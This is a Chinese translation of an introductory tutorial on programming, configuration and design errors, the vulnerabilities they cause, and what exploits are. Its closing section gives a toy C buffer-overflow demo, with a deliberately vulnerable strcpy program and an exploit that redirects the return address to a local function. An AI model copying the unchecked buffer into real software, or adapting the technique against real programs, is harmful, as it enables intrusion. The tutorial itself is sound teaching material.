翻译:黯魂[S.S.T]
在这篇文档中,我将会试着为你提供一个对于错误,和由于那些错误而产生的漏洞以及它们的exploits的基本认识。那决不意味着能让你完全理解exploits和漏洞,但是能帮助你学会认识可能的漏洞以及怎样处理它们。
一般而言有3种不同类型的错误会可能危及计算机系统和网络的安全。
#编程错误
#配置错误
#设计错误
错误可以被看成是失误,尽管它们并非都是由事故导致的。软件/设备的最初创建者可能就存在错误,用最好的想法却创建了错误,并且没有意识到它可能就是一个潜在的威胁。这听上去可能有点糊涂,但是稍后在文章中都将会被澄清。为了深入探讨关于错误的细节,我们需要创建一个对不同类型的错误的定义以至于我们能更容易认识它们。
不同错误类型的定义
编程错误:
编程错误通常是由程序编写者造成的。最常见的可利用编程错误是缓冲区溢出。把缓冲区溢出想象成一个空的杯子:程序的使用者将要倒咖啡到杯子里,但是程序编写者事先并不知道使用者将会倒多少咖啡在里面。所以程序编写者必须在使用者把咖啡倒进杯子之前检查和测试,以阻止咖啡从杯子里溢出。有时候检查输入大小并不容易,或者由于时间紧迫,程序员没有时间写足够广泛的错误检测函数。那么结果就是:可能的缓冲区溢出和其他的编程错误被创建。
另一个编程错误的例子是:当用户做一些预料之外的事,比如加载一个错误类型的文件到程序中时,程序会崩溃。当然不是所有的编程错误都需要用户输入才能做一些预料之外的事,像使程序崩溃。一个程序也会取决于总是在一个明确位置的特殊文件。如果那个文件被移动,并且程序员没有预料到,他就不可能在程序尝试打开它之前检测文件是否还是在那个位置。假如程序在打开那个文件后尝试用它运行,这就会导致不可预见的行为。
这些类型的错误发生得相当频繁,并且大多时候厂商都会分发补丁包来解决由消费者或者他们自己发现的被报告的错误。
配置错误:
这样想象一个配置错误:如果你是一个网络管理员并且你需要运行一个防火墙来保护你的网络。习惯上,你会允许任何进出的流量,除专门拒绝的流量种类之外。
一个简单的例子是防火墙仅仅阻塞了80端口,然而它将允许来自因特网的任何人连接到防火墙的配置页面重新配置它。其余的端口都是开着的。这明显就是一个配置错误,任何人都能通过使用另一个端口号来绕过防火墙。
幸运的是大多数厂商都知道这个错误,因此他们都正确的做了相反的处理:任何流量都被阻塞除非专门允许的。所以自从端口被关闭以后,网络管理员都不再需要担心发现的新问题,通过一个不使用的端口能访问他的网络。(这里我只使用端口来举例子,不过这在相同的端口上也能应用不同类型的流量。)
另一个配置错误的例子是,在一个网络中的不受管理的hub代替可管理的交换机的用法。不同之处是,hub发送所有进入的数据包到所有的端口,因为它并不知道在它后面的接收者被定位到哪个端口,而交换机知道。所以,在一个使用hub代替交换机的网络中运行一个sniffer,允许一个攻击者查看包含可能的用户名及密码的更多数据包,解决办法就是在网络中使用交换机。即使现在这是一个配置错误,但在过去却不是,因为那时交换机还不存在。
设计错误:
设计错误可以被看成是在软件设计阶段发生的错误。即使程序员花足够的时间在软件发布之前编写检测流程来检验所有用户的输入,即使软件被最终用户正确地配置,这些错误仍然会造成对于一个网络的安全的极大危险。
让我们看看这种情况:一个公司决定开发一个软件,这个软件允许远程访问到一个网络。那么他们也不得不支持这个软件,从而他们决定放一些后门在里面以至于能使用公司名字作为密码远程登录。如果公司以外的人发现了那些后门呢,会发生什么?他使用那个软件的远程访问能够登录进任何一个网络。结果将会是损失惨重的!
尽管这些后门在过去被创建的相当频繁,现在一个公司销售类似的软件却不会再带来风险了,因为他要对攻击者的滥用后门负责。
另一个设计错误的例子是使用在安全无线网络中的WEP加密。我不打算深入说明这为什么是一个设计错误,毕竟那超出了这篇文章的范围,但是它的基本流程是这样的:
一个3字节的初始化矢量增加到公钥中来加密每个唯一的数据包。假设公钥是abcde。第一个数据包的初始化矢量是123,因此这个数据包的全部密钥就是123abcde。下一个数据包的初始化矢量是234,那么它的密钥就是234abcde。
设计错误在这里其实也就是,只有3字节的不同初始化矢量,导致了255^3或者说1650万不同的keys以及部分加密算法被使用。通过逆向分析部分算法,能够相当容易地获得公钥中的几个字符。由于这个设计错误,你只需要用唯一的初始化矢量重复发送10万个包(64-bit),发送80万个包(128-bit),就能破解出WEP-key,便可以进入完整的无线网络中。在一个繁忙的无线网络中这能在几小时内做到。
那么你看到了,设计错误有点更难解决。你不能只是期望厂商发布快速更新来解决这个问题,你也不可能通过查阅产品说明书自己解决。针对WEP加密这种情况,一个小组创建了一个新的标准,叫做WPA。这意味着使用WEP加密的产品应该被取代,或者通过硬件更新以允许它们用这个新加密标准工作。对于已发现的WEP上的设计错误的细节描述,可以去看看airscanner。com上面的精华文章。
这些错误如何成为漏洞的?
一个漏洞就是对目标的保护方面的一个弱点。目标可以是连到一个完整网络的一台计算机的任何部分。我不会说明这儿可能的漏洞的所有不同,因为那几乎不可能,但是我将设法指出什么是漏洞,以及漏洞如何产生的。
按照早期的规定,最普遍的会成为漏洞的编程错误是缓冲区溢出。假设一个基于栈的缓冲区溢出,缓冲区被放置在栈中。栈可以被看成是你的处理器存储数据在里面并能与其共同工作的一个临时工作区。现在,当你溢出一个放置在栈里的缓冲区时,你能够写数据到已分配空间的缓冲区之外,因此可以写其它数据到栈中。而其它数据可以是调用函数的返回地址。假设调用函数的返回地址是12345678,并且返回地址直接存储在缓冲区后面的栈中,那么栈看上去可能会像这样:
XXXXXXXXXX12345678
XXXXXXXXXX是将包含我们的输入的缓冲区。如果我们放一些比缓冲区大小要少的数据在里面,没有任何奇怪的事会发生,但是当我们放12个'A'在这只能承载10个字符的缓冲区中时,多余的2个A就会覆盖掉返回地址部分。从而使返回地址变成一个无效地址,然后函数无法返回,程序就崩溃了。
如果这个程序是一个服务端应用程序,有人能放12个A使程序崩溃,并且导致其他所有用户都无法访问。这就成为了一个拒绝服务攻击的例子。既然这样,这个错误就有了拒绝服务漏洞。
如果我们用与上面同样的例子,但换一个更大的缓冲区,那么溢出缓冲区也就意味着更多的数据在一个实际溢出发生之前必须被放进去,可是当那发生时,我们可以写一些计算机代码(汇编指令),将其作为数据的一部分而放在缓冲区中使用。我们通过覆盖它来改变返回地址,以指向我们溢出的缓冲区后面,程序将会试图执行我们的缓冲区。这时,缓冲区包含了我们放进去的代码,程序并不会崩溃,而是转去执行我们的代码。由于那些代码可以是开启一个shell(命令解释程序)的一小段代码,并且会在那台计算机上监听一个特殊端口,因此这种类型的代码经常被称作shellcode。
随着这些代码的运行,有人便能够连接到那个特殊的端口上,并能执行远程命令,同时获得与在远程计算机开启这个存在漏洞的应用程序的用户所拥有的相同访问权的控制权。
对于配置错误,如果我们看看防火墙的例子,漏洞就更加明显。假如那个防火墙能经由telnet远程配置,那么仅仅不允许访问防火墙的80端口会给网络管理员一个安全上的错误认识,攻击者仍旧能够通过连接到防火墙的23端口进行访问而配置它。
然而,自从消费者开始要求他们所购买的产品应具有不同配置选项以后,厂商就开始着手研发高级别的可配置的软件和设备。这可能让一个设备的配置变得专业化而导致错误很容易发生。类似的设备的配置是如此的复杂,而漏洞能被网络管理员看到,因此允许一个潜在的攻击者访问到网络或系统中他本不应该访问到的部分,所以一个简单的配置错误会导致网络和系统中存在一个潜在的漏洞。
我已经给出了一个由设计错误导致漏洞的例子:WEP密钥,但它很容易引出另一个设计错误的例子:设想一个软件公司编写了一个软件用于浏览和创建文本文档。他们想要出售他们的产品,然而由于竞争者的软件公司也开发了一款相同功能的软件,他们不得不设计一个表面上有更强大的功能的程序。因此他们决定增加一个特性以允许用户能对自己创建的文档有更多的控制,那样用户可以编写小型函数(宏),并能被植入文档中,同时能够帮助文档浏览者在他的计算机上做各种各样的事情。如果所有这些功能被一个恶意攻击者使用,创建一个已植入宏的文档,能复制自身到机器上被找到的其他所有文档中去,并且不经过浏览者的同意做各种各样的其他事情呢?那么在这个被设计而创建的程序中,我们又有了一个可能的漏洞。
你可以看到,一个错误会导致产生一个漏洞。在宏被使用在文档中的情况下,帮助软件用户创建更多动态文档的想法很伟大,除设计时没有考虑安全因素以外。
那么什么是一个exploit?
exploit就是一种利用一个已发现的漏洞来改变程序或者系统初始功能的方法。这种方法对于一个攻击者而言更有用处。在计算机安全中,术语"exploit"经常被用于描述一个特殊的程序,它的唯一目的就是自动利用一个漏洞来取得对有漏洞的目标程序的控制权,或者终止目标程序的正常功能。
但是在一个系统或者网络中使用一个错误的配置对要利用它的攻击者来说,也能被叫做一个exploit,尽管它不一定非要是一个实际上能完成工作的特殊程序。
我将通过一些C代码的例子来试着说明一个exploit的作用,其中之一是一个存在缓冲区溢出漏洞的简单的程序,另一个则是exploit。
注意:这里给出的例子可能在不同的编译器和系统上表现不同。你可能需要改变缓冲区中字符的数目才能真正改写返回地址,或者exploitfunction的地址会不同,但是他们仍能工作。
vulnerable_program.c:
Copycode
#include"stdio。h"
/*利用函数*/
exploitfunction()
{
/*如果缓冲区溢出被成功利用,就会输出此行内容*/
printf("Thislinewillbeprintedaftersuccessfullyexploitingthebufferoverflow.");
system("pause");
ExitProcess(0);
}
normalfunction(char*myargument)
{
charbuffer[10];
strcpy(buffer,myargument);
}
main(intargc,char*argv[])
{
if(argc>1)
{
normalfunction(argv[1]);
printf("Theselinesgetprintedduringnormalexecutionwithatleast1commandlineargument.Theaddressofexploitfunction
is0x%。8X",&exploitfunction);
}
else
printf("Pleaseprovidetheprogramwithatleast1commandlineargument.");
ExitProcess(0);
}
我已经创建了3个函数,一个是主函数,其他2个分别是:在正常情况下执行的normalfunction,以及利用函数exploitfunction。程序的目的是溢出缓冲区以至于返回地址将指向替换了normalfunction后面下一条指令的exploitfunction函数。
现在我们需要指出文本字符串要多大才能完全覆盖栈中的返回地址。有这个作为目标,就好办了!我们每次增加一个字符直到程序崩溃。
当我在Windows系统上使用Dev-cpp编译完程序以后,我知道了在程序崩溃之前最多需要27个A。
exploitfunction函数的地址以16进制形式表示,并且字节值经常表现出:地址是不可打印的字符。我写了一个小程序,它将给这个易受攻击的程序提供必要的字符串以利用它。
在我的环境中,exploitfunction函数的地址(从易受攻击的程序内部我方便地打印得到)是0x00401290。因为栈在Intelx86系统上是以逆序存储所有数据的(这篇文档中那不会被说明),我们需要准备一个相同的字符串。因此可能的值类似于
0x41414141414141414141414141414141414141414141414141414141901240.
你可以看到,这里的字符'A'(0x41)我使用的是16进制的表现形式,那是存储在栈中的真实值。结果就是,exploit非常简单:
Exploit.c:
Copycode
#include"stdio.h"
main()
{
charworkbuffer[200];
chartempbuf[4];
strcpy(workbuffer,"vulnerable_programAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
tempbuf[0]=0x90;
tempbuf[1]=0x12;
tempbuf[2]=0x40;
tempbuf[3]=0;
strcat(workbuffer,tempbuf);
system(workbuffer);
return0;
}
这段程序所做的就是复制字符串"vulnerable_programAAAAAAAAAAAAAAAAAAAAAAAAAAAA"到一个缓冲区中,并用新的返回地址创建另一个缓冲区,附加在工作缓冲区之上。
在那之后,程序调用system()来执行字符串中的命令。输出结果是:
C:>exploit.exe
Thislinewillbeprintedaftersuccessfullyexploitingthebufferoverflow.
Pressanykeytocontinue……
太棒了,它执行了!
难道那不伟大吗?
虽然我们实际上并没有成功让程序运行我们自己的代码,但经过一些小小的改变就能完成。
关于缓冲区溢出的更多相关信息请参考AlephOne写的著名文章"Smashingthestackforfunandprofit"
经过这篇文章的探讨,你通常不得不自己行动来阻止你的系统或者网络被一个已知漏洞所利用。对于配置错误我建议你请一位专家来帮你做必要的配置,因此在使用它之前你不用完全理解产品是如何运作的。对于编程和设计错误,通常有很多人进行产品测试,而其他人则发表他们发现的漏洞到Internet上的一些安全列表上。所以如果你保持持续关注这些安全列表,并确认你一直都在更新你的系统到最新版本,你就已经接近一个安全环境了。
――――――――――――――――――――――――――――――――――――――――――
最近的安全编程文档:
《ExploitingSoftwareHowtoBreakCode》
描述如何编写exploit代码的
《LearningXML,2ndEdition》
《WritingSecureCode》
微软公司核心推荐,教你怎样编写安全的代码
《OReillyWebSiteCookbook》
建立和管理你的网站的使用手册,包括大量实例及解决方案